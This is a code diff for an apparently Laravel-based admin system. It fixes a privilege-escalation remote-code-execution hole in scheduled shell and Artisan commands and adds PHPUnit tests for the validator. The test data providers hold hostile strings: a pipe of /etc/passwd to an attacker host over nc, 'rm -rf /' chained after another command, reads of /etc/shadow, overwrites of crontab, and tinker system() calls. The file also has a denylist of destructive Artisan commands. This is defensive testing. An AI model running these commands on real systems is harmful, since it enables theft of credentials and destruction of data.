[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [1.0.1] - 2026-07-09
|
||||
## [1.0.1] - 2026-07-14
|
||||
|
||||
### Changed
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [1.0.3] - 2026-07-13
|
||||
## [1.0.3] - 2026-07-14
|
||||
|
||||
### Added
|
||||
|
||||
|
||||
@@ -29,6 +29,8 @@ return [
|
||||
'shell_command_failed' => 'Shell command execution failed.',
|
||||
'http_request_failed' => 'HTTP request failed with status: :status',
|
||||
'url_not_public' => 'Internal network addresses (private IPs, localhost, etc.) cannot be called. To call an address inside your network, enable "Allow internal network addresses" under Settings > Security.',
|
||||
'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server can be run as a schedule.',
|
||||
'artisan_not_allowed' => 'This Artisan command cannot be run as a schedule for security reasons.',
|
||||
|
||||
// Task types
|
||||
'type' => [
|
||||
|
||||
@@ -510,6 +510,12 @@ return [
|
||||
'internal_not_allowed' => 'Internal network addresses (private IPs, localhost, etc.) are not allowed. Enter a publicly reachable address.',
|
||||
],
|
||||
|
||||
// Schedule command (shell/Artisan) validation messages — these run on the server
|
||||
'schedule_command' => [
|
||||
'shell_not_allowed' => 'This shell command is not allowed. Only executables registered on the server may be used, and special characters such as pipes (|) or semicolons (;) are not permitted.',
|
||||
'artisan_denied' => 'This Artisan command cannot be run as a schedule for security reasons.',
|
||||
],
|
||||
|
||||
// Component existence validation messages
|
||||
'component' => [
|
||||
'template_id_required' => 'template_id is required for component validation.',
|
||||
|
||||
@@ -29,6 +29,8 @@ return [
|
||||
'shell_command_failed' => '쉘 명령 실행에 실패했습니다.',
|
||||
'http_request_failed' => 'HTTP 요청 실패 (상태: :status)',
|
||||
'url_not_public' => '내부 네트워크 주소(사설 IP·localhost 등)는 호출할 수 없습니다. 사내 주소를 호출해야 한다면 환경설정 > 보안에서 "내부 네트워크 주소 호출 허용"을 켜주세요.',
|
||||
'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 스케줄로 실행할 수 있습니다.',
|
||||
'artisan_not_allowed' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.',
|
||||
|
||||
// 작업 유형
|
||||
'type' => [
|
||||
|
||||
@@ -509,6 +509,12 @@ return [
|
||||
'internal_not_allowed' => '내부 네트워크 주소(사설 IP·localhost 등)는 사용할 수 없습니다. 외부에서 접속 가능한 주소를 입력해 주세요.',
|
||||
],
|
||||
|
||||
// 서버에서 실행되는 스케줄 command(쉘·Artisan) 검증 메시지
|
||||
'schedule_command' => [
|
||||
'shell_not_allowed' => '허용되지 않은 쉘 명령입니다. 서버에 등록된 실행 파일만 사용할 수 있으며, 파이프(|)·세미콜론(;) 등 특수문자는 쓸 수 없습니다.',
|
||||
'artisan_denied' => '이 Artisan 명령은 보안상 스케줄로 실행할 수 없습니다.',
|
||||
],
|
||||
|
||||
// 컴포넌트 존재 여부 검증 메시지
|
||||
'component' => [
|
||||
'template_id_required' => '컴포넌트 검증을 위해서는 template_id가 필요합니다.',
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [1.0.3] - 2026-07-10
|
||||
## [1.0.3] - 2026-07-14
|
||||
|
||||
### Security
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ All notable changes to this plugin will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
## [1.0.1] - 2026-07-09
|
||||
## [1.0.1] - 2026-07-14
|
||||
|
||||
### Security
|
||||
|
||||
|
||||
@@ -0,0 +1,328 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature\Security;
|
||||
|
||||
use App\Enums\ScheduleResultStatus;
|
||||
use App\Enums\ScheduleType;
|
||||
use App\Models\Permission;
|
||||
use App\Models\Role;
|
||||
use App\Models\Schedule;
|
||||
use App\Models\User;
|
||||
use App\Services\ScheduleService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use Tests\TestCase;
|
||||
|
||||
/**
|
||||
* 스케줄 command 를 통한 권한 상승형 RCE 를 차단하는지 검증한다.
|
||||
*
|
||||
* 보고서(KVE-2026-1567) 주 시나리오: `core.schedules.read/create/run` 만 위임받은 저권한
|
||||
* 계정이 Shell/Artisan 스케줄을 생성 → 즉시 실행하여 서버에서 임의 OS 명령·임의 PHP 코드를
|
||||
* 실행하는 경로. 저장 시점(store/update 422)과 실행 시점(runSchedule 차단) 양쪽을 검증한다.
|
||||
*/
|
||||
class ScheduleCommandGuardTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private User $operator;
|
||||
|
||||
private string $token;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// 보고서 시나리오의 "스케줄 운영자" — 스케줄 권한만 위임, is_super=0
|
||||
$this->operator = $this->createScheduleOperator();
|
||||
$this->token = $this->operator->createToken('test-token')->plainTextToken;
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 저장 시점 — store/update 422
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼진 기본 상태에서 저권한 계정의 shell 스케줄 생성은 422 로 거부된다.
|
||||
*
|
||||
* @param string $command 악성/미허용 shell command
|
||||
*/
|
||||
#[DataProvider('maliciousShellCommandProvider')]
|
||||
public function test_store_rejects_shell_command_when_gate_disabled(string $command): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => 'rce 시도',
|
||||
'type' => ScheduleType::Shell->value,
|
||||
'command' => $command,
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
/**
|
||||
* 저권한 계정의 차단목록 artisan 스케줄 생성은 422 로 거부된다.
|
||||
*
|
||||
* @param string $command 차단목록 artisan command
|
||||
*/
|
||||
#[DataProvider('deniedArtisanCommandProvider')]
|
||||
public function test_store_rejects_denylisted_artisan_command(string $command): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => 'artisan rce 시도',
|
||||
'type' => ScheduleType::Artisan->value,
|
||||
'command' => $command,
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트를 켜고 실행 파일을 화이트리스트에 등록하면 정상 shell 스케줄 생성은 201 로 허용된다.
|
||||
*/
|
||||
public function test_store_allows_whitelisted_shell_command_when_gate_enabled(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => '정상 백업 스케줄',
|
||||
'type' => ScheduleType::Shell->value,
|
||||
'command' => 'backup.sh --full',
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
}
|
||||
|
||||
/**
|
||||
* 정상 artisan 스케줄 생성은 201 로 허용된다 (기본 허용 정책).
|
||||
*/
|
||||
public function test_store_allows_normal_artisan_command(): void
|
||||
{
|
||||
$response = $this->authRequest()->postJson(route('api.admin.schedules.store'), [
|
||||
'name' => '캐시 정리 스케줄',
|
||||
'type' => ScheduleType::Artisan->value,
|
||||
'command' => 'cache:clear',
|
||||
'expression' => '* * * * *',
|
||||
'frequency' => 'everyMinute',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
}
|
||||
|
||||
/**
|
||||
* 기존 shell 스케줄의 command 만 악성 값으로 바꾸는 update 요청도 422 로 거부된다
|
||||
* (PATCH 에 type 이 없어도 저장된 타입으로 폴백 검증).
|
||||
*/
|
||||
public function test_update_rejects_malicious_shell_command_without_type_in_request(): void
|
||||
{
|
||||
$schedule = Schedule::create([
|
||||
'name' => '기존 스케줄',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'backup.sh',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$response = $this->authRequest()->putJson(
|
||||
route('api.admin.schedules.update', ['schedule' => $schedule->id]),
|
||||
['command' => 'id; cat /etc/passwd']
|
||||
);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors('command');
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 실행 시점 — runSchedule 차단 (DB 직접 주입 값 방어)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼진 상태에서 DB 에 직접 심어진 shell 스케줄은 실행 시점에 차단된다
|
||||
* (저장 검증을 우회해 들어온 값 방어 — 마지막 방어선).
|
||||
*/
|
||||
public function test_run_blocks_shell_schedule_when_gate_disabled(): void
|
||||
{
|
||||
Process::fake();
|
||||
|
||||
$schedule = Schedule::create([
|
||||
'name' => 'DB 직접 주입 shell',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'id',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$this->assertScheduleRunIsBlocked($schedule);
|
||||
Process::assertNothingRan();
|
||||
}
|
||||
|
||||
/**
|
||||
* DB 에 직접 심어진 차단목록 artisan 스케줄은 실행 시점에 차단된다.
|
||||
*/
|
||||
public function test_run_blocks_denylisted_artisan_schedule(): void
|
||||
{
|
||||
$schedule = Schedule::create([
|
||||
'name' => 'DB 직접 주입 artisan',
|
||||
'type' => ScheduleType::Artisan,
|
||||
'command' => 'tinker --execute=system("id");',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
$this->assertScheduleRunIsBlocked($schedule);
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트 on + 화이트리스트 등록 시, 허용된 shell 스케줄은 인자 배열로 실행된다
|
||||
* (문자열이 아닌 배열 → `/bin/sh -c` 미경유).
|
||||
*/
|
||||
public function test_run_executes_whitelisted_shell_command_as_argument_array(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
Process::fake(['*' => Process::result('done', '', 0)]);
|
||||
|
||||
$schedule = Schedule::create([
|
||||
'name' => '정상 백업',
|
||||
'type' => ScheduleType::Shell,
|
||||
'command' => 'backup.sh --full /var/data',
|
||||
'expression' => '* * * * *',
|
||||
'is_active' => true,
|
||||
]);
|
||||
|
||||
app(ScheduleService::class)->runSchedule($schedule);
|
||||
|
||||
// 셸 미경유 검증: Process 에 문자열이 아닌 인자 배열이 전달됨
|
||||
Process::assertRan(function ($process) {
|
||||
return $process->command === ['backup.sh', '--full', '/var/data'];
|
||||
});
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Helpers
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* runSchedule 이 차단되어 실패 이력으로 기록되는지 단언합니다.
|
||||
*
|
||||
* runSchedule 은 실행 실패를 실패 이력으로 남긴 뒤 ValidationException 으로 전파한다.
|
||||
*
|
||||
* @param Schedule $schedule 실행 대상 스케줄
|
||||
*/
|
||||
private function assertScheduleRunIsBlocked(Schedule $schedule): void
|
||||
{
|
||||
try {
|
||||
app(ScheduleService::class)->runSchedule($schedule);
|
||||
$this->fail("차단되어야 하는 스케줄이 실행됨: {$schedule->command}");
|
||||
} catch (ValidationException $e) {
|
||||
// 실행 실패 경로 — 아래에서 실패 이력을 확인한다
|
||||
}
|
||||
|
||||
$this->assertSame(
|
||||
ScheduleResultStatus::Failed,
|
||||
$schedule->fresh()->last_result,
|
||||
"차단된 스케줄이 실패로 기록되지 않음: {$schedule->command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 인증된 JSON 요청 헬퍼.
|
||||
*/
|
||||
private function authRequest(): static
|
||||
{
|
||||
return $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->token,
|
||||
'Accept' => 'application/json',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* 스케줄 권한만 위임받은 저권한 "스케줄 운영자" 계정을 생성합니다.
|
||||
*
|
||||
* @return User is_super=0, core.schedules.read/create/update/run 만 보유
|
||||
*/
|
||||
private function createScheduleOperator(): User
|
||||
{
|
||||
$user = User::factory()->create();
|
||||
|
||||
$permissionIds = [];
|
||||
foreach (['core.schedules.read', 'core.schedules.create', 'core.schedules.update', 'core.schedules.run'] as $identifier) {
|
||||
$permission = Permission::firstOrCreate(
|
||||
['identifier' => $identifier],
|
||||
[
|
||||
'name' => json_encode(['ko' => $identifier, 'en' => $identifier]),
|
||||
'description' => json_encode(['ko' => $identifier, 'en' => $identifier]),
|
||||
'extension_type' => 'core',
|
||||
'extension_identifier' => 'core',
|
||||
'type' => 'admin',
|
||||
]
|
||||
);
|
||||
$permissionIds[] = $permission->id;
|
||||
}
|
||||
|
||||
$operatorRole = Role::create([
|
||||
'identifier' => 'schedule_operator_'.uniqid(),
|
||||
'name' => json_encode(['ko' => '스케줄 운영자', 'en' => 'Schedule Operator']),
|
||||
'is_active' => true,
|
||||
]);
|
||||
$operatorRole->permissions()->sync($permissionIds);
|
||||
|
||||
// isAdmin() 통과를 위한 admin 타입 역할 (설계상 admin 로그인 허용 — 진짜 결함은 능력 위임 범위)
|
||||
$adminRole = Role::firstOrCreate(
|
||||
['identifier' => 'admin'],
|
||||
[
|
||||
'name' => json_encode(['ko' => '관리자', 'en' => 'Administrator']),
|
||||
'extension_type' => 'core',
|
||||
'extension_identifier' => 'core',
|
||||
'is_active' => true,
|
||||
]
|
||||
);
|
||||
|
||||
$user->roles()->attach($adminRole->id, ['assigned_at' => now()]);
|
||||
$user->roles()->attach($operatorRole->id, ['assigned_at' => now()]);
|
||||
|
||||
return $user->fresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트 꺼진 상태에서 거부되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function maliciousShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'임의 명령 (보고서 주 시나리오)' => ['id'],
|
||||
'체이닝' => ['backup.sh; rm -rf /'],
|
||||
'파이프 역쉘' => ['cat /etc/passwd | nc attacker 4444'],
|
||||
'명령치환' => ['echo $(id)'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단목록 artisan command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function deniedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'tinker 임의 PHP 실행' => ['tinker --execute=system("id");'],
|
||||
'db:wipe 파괴적' => ['db:wipe'],
|
||||
'migrate:fresh 파괴적' => ['migrate:fresh'],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit\Support;
|
||||
|
||||
use App\Support\ScheduleCommandValidator;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
/**
|
||||
* 스케줄 Shell/Artisan command 검증 유틸 테스트.
|
||||
*
|
||||
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 경로를
|
||||
* 전수 매트릭스로 차단 검증한다 (셸 메타문자 주입, 화이트리스트 우회, 차단목록 우회).
|
||||
*/
|
||||
class ScheduleCommandValidatorTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* shell 게이트를 켜고 허용 실행 파일을 등록합니다.
|
||||
*
|
||||
* @param array<int, string> $binaries 허용 실행 파일 basename 목록
|
||||
*/
|
||||
private function enableShell(array $binaries = ['backup.sh']): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => true,
|
||||
'schedule_security.shell.allowed_binaries' => $binaries,
|
||||
]);
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 게이트
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트가 꺼져 있으면 화이트리스트에 있는 명령도 거부한다 (기본 차단).
|
||||
*/
|
||||
#[Test]
|
||||
public function it_blocks_every_shell_command_when_the_gate_is_disabled(): void
|
||||
{
|
||||
config([
|
||||
'schedule_security.shell.enabled' => false,
|
||||
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
||||
]);
|
||||
|
||||
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
||||
}
|
||||
|
||||
/**
|
||||
* 게이트가 켜져 있어도 화이트리스트가 비어 있으면 모두 거부한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_blocks_every_shell_command_when_the_whitelist_is_empty(): void
|
||||
{
|
||||
$this->enableShell([]);
|
||||
|
||||
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 화이트리스트
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 게이트 on + 화이트리스트 등록 실행 파일은 허용한다 (정상 운영 경로).
|
||||
*
|
||||
* @param string $command 허용되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('allowedShellCommandProvider')]
|
||||
public function it_allows_whitelisted_shell_binaries(string $command): void
|
||||
{
|
||||
$this->enableShell(['backup.sh']);
|
||||
|
||||
$this->assertTrue(
|
||||
ScheduleCommandValidator::isShellCommandAllowed($command),
|
||||
"허용되어야 하는 명령이 차단됨: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 화이트리스트에 없는 실행 파일은 거부한다.
|
||||
*
|
||||
* @param string $command 차단되어야 하는 command
|
||||
* @param string $reason 차단 사유 (실패 메시지용)
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('blockedShellCommandProvider')]
|
||||
public function it_blocks_shell_commands_outside_the_whitelist(string $command, string $reason): void
|
||||
{
|
||||
$this->enableShell(['backup.sh']);
|
||||
|
||||
$this->assertFalse(
|
||||
ScheduleCommandValidator::isShellCommandAllowed($command),
|
||||
"차단되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Shell — 토큰화 (셸 미경유 실행 가능 여부)
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 셸 메타문자가 섞인 명령은 토큰화를 거부한다 (인자배열 실행 불가 → 실행 차단).
|
||||
*
|
||||
* @param string $command 메타문자가 포함된 command
|
||||
* @param string $reason 차단 사유 (실패 메시지용)
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('shellMetacharacterCommandProvider')]
|
||||
public function it_refuses_to_tokenize_commands_containing_shell_metacharacters(string $command, string $reason): void
|
||||
{
|
||||
$this->assertNull(
|
||||
ScheduleCommandValidator::tokenizeShellCommand($command),
|
||||
"토큰화가 거부되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 메타문자 없는 명령은 공백 기준 인자 배열로 토큰화한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_tokenizes_a_plain_command_into_an_argument_array(): void
|
||||
{
|
||||
$this->assertSame(
|
||||
['backup.sh', '--full', '/var/data'],
|
||||
ScheduleCommandValidator::tokenizeShellCommand('backup.sh --full /var/data')
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 빈 문자열·공백만 있는 명령은 토큰화를 거부한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_refuses_to_tokenize_a_blank_command(): void
|
||||
{
|
||||
$this->assertNull(ScheduleCommandValidator::tokenizeShellCommand(' '));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Artisan — 차단목록
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 차단목록에 오른 artisan 명령은 거부한다 (코드 실행형·파괴적 명령).
|
||||
*
|
||||
* @param string $command 차단되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('deniedArtisanCommandProvider')]
|
||||
public function it_blocks_denylisted_artisan_commands(string $command): void
|
||||
{
|
||||
$this->assertFalse(
|
||||
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
||||
"차단되어야 하는 artisan 명령이 통과함: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단목록에 없는 artisan 명령은 허용한다 (기본 허용).
|
||||
*
|
||||
* @param string $command 허용되어야 하는 command
|
||||
*/
|
||||
#[Test]
|
||||
#[DataProvider('allowedArtisanCommandProvider')]
|
||||
public function it_allows_artisan_commands_that_are_not_denylisted(string $command): void
|
||||
{
|
||||
$this->assertTrue(
|
||||
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
||||
"허용되어야 하는 artisan 명령이 차단됨: {$command}"
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* artisan 명령명은 첫 토큰으로 추출한다.
|
||||
*/
|
||||
#[Test]
|
||||
public function it_extracts_the_artisan_command_name_from_the_first_token(): void
|
||||
{
|
||||
$this->assertSame('cache:clear', ScheduleCommandValidator::extractArtisanCommandName(' cache:clear --force '));
|
||||
$this->assertNull(ScheduleCommandValidator::extractArtisanCommandName(' '));
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// Data Providers
|
||||
// ========================================================================
|
||||
|
||||
/**
|
||||
* 허용되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function allowedShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'실행 파일 단독' => ['backup.sh'],
|
||||
'인자 포함' => ['backup.sh --full /var/data'],
|
||||
'절대경로 (basename 일치)' => ['/usr/local/bin/backup.sh --full'],
|
||||
'앞뒤 공백' => [' backup.sh '],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단되어야 하는 shell command 목록.
|
||||
*
|
||||
* @return array<string, array{string, string}>
|
||||
*/
|
||||
public static function blockedShellCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'화이트리스트 외 명령' => ['id', '보고서 주 시나리오 — 임의 명령 실행'],
|
||||
'화이트리스트 외 절대경로' => ['/bin/sh', '셸 자체 실행'],
|
||||
'접두사 확장 우회' => ['backup.sh.evil', 'basename 완전 일치가 아님'],
|
||||
'접미사 확장 우회' => ['evil-backup.sh', 'basename 완전 일치가 아님'],
|
||||
'체이닝으로 화이트리스트 위장' => ['backup.sh; id', '메타문자 — 토큰화 거부'],
|
||||
'파이프로 화이트리스트 위장' => ['backup.sh | nc attacker 4444', '메타문자 — 토큰화 거부'],
|
||||
'명령치환으로 화이트리스트 위장' => ['backup.sh $(id)', '메타문자 — 토큰화 거부'],
|
||||
'빈 명령' => ['', '빈 문자열'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 셸 해석을 유발하는 메타문자가 포함된 command 목록.
|
||||
*
|
||||
* @return array<string, array{string, string}>
|
||||
*/
|
||||
public static function shellMetacharacterCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'세미콜론 체이닝' => ['backup.sh; rm -rf /', '세미콜론'],
|
||||
'파이프' => ['cat /etc/passwd | nc attacker 4444', '파이프'],
|
||||
'백그라운드 실행' => ['backup.sh & id', '앰퍼샌드'],
|
||||
'명령치환 $()' => ['echo $(id)', '달러 + 괄호'],
|
||||
'명령치환 백틱' => ['echo `id`', '백틱'],
|
||||
'출력 리다이렉션' => ['backup.sh > /etc/crontab', '리다이렉션'],
|
||||
'입력 리다이렉션' => ['backup.sh < /etc/shadow', '리다이렉션'],
|
||||
'와일드카드' => ['rm -rf /var/*', '글롭'],
|
||||
'따옴표' => ['backup.sh "a b"', '따옴표 — 순진한 토큰화 불가'],
|
||||
'개행 주입' => ["backup.sh\nid", '개행'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 차단되어야 하는 artisan command 목록.
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function deniedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'tinker — 임의 PHP 실행' => ['tinker --execute=system("id");'],
|
||||
'tinker 단독' => ['tinker'],
|
||||
'대소문자 우회' => ['TINKER --execute=1'],
|
||||
'db:wipe — 파괴적' => ['db:wipe'],
|
||||
'migrate:fresh — 파괴적' => ['migrate:fresh --seed'],
|
||||
'migrate:reset' => ['migrate:reset'],
|
||||
'migrate:rollback' => ['migrate:rollback'],
|
||||
'key:generate' => ['key:generate'],
|
||||
'env:decrypt' => ['env:decrypt'],
|
||||
'schedule:run' => ['schedule:run'],
|
||||
'빈 명령' => [''],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 허용되어야 하는 artisan command 목록 (정상 운영 명령).
|
||||
*
|
||||
* @return array<string, array{string}>
|
||||
*/
|
||||
public static function allowedArtisanCommandProvider(): array
|
||||
{
|
||||
return [
|
||||
'cache:clear' => ['cache:clear'],
|
||||
'인자 포함' => ['queue:work --stop-when-empty'],
|
||||
'inspire' => ['inspire'],
|
||||
];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user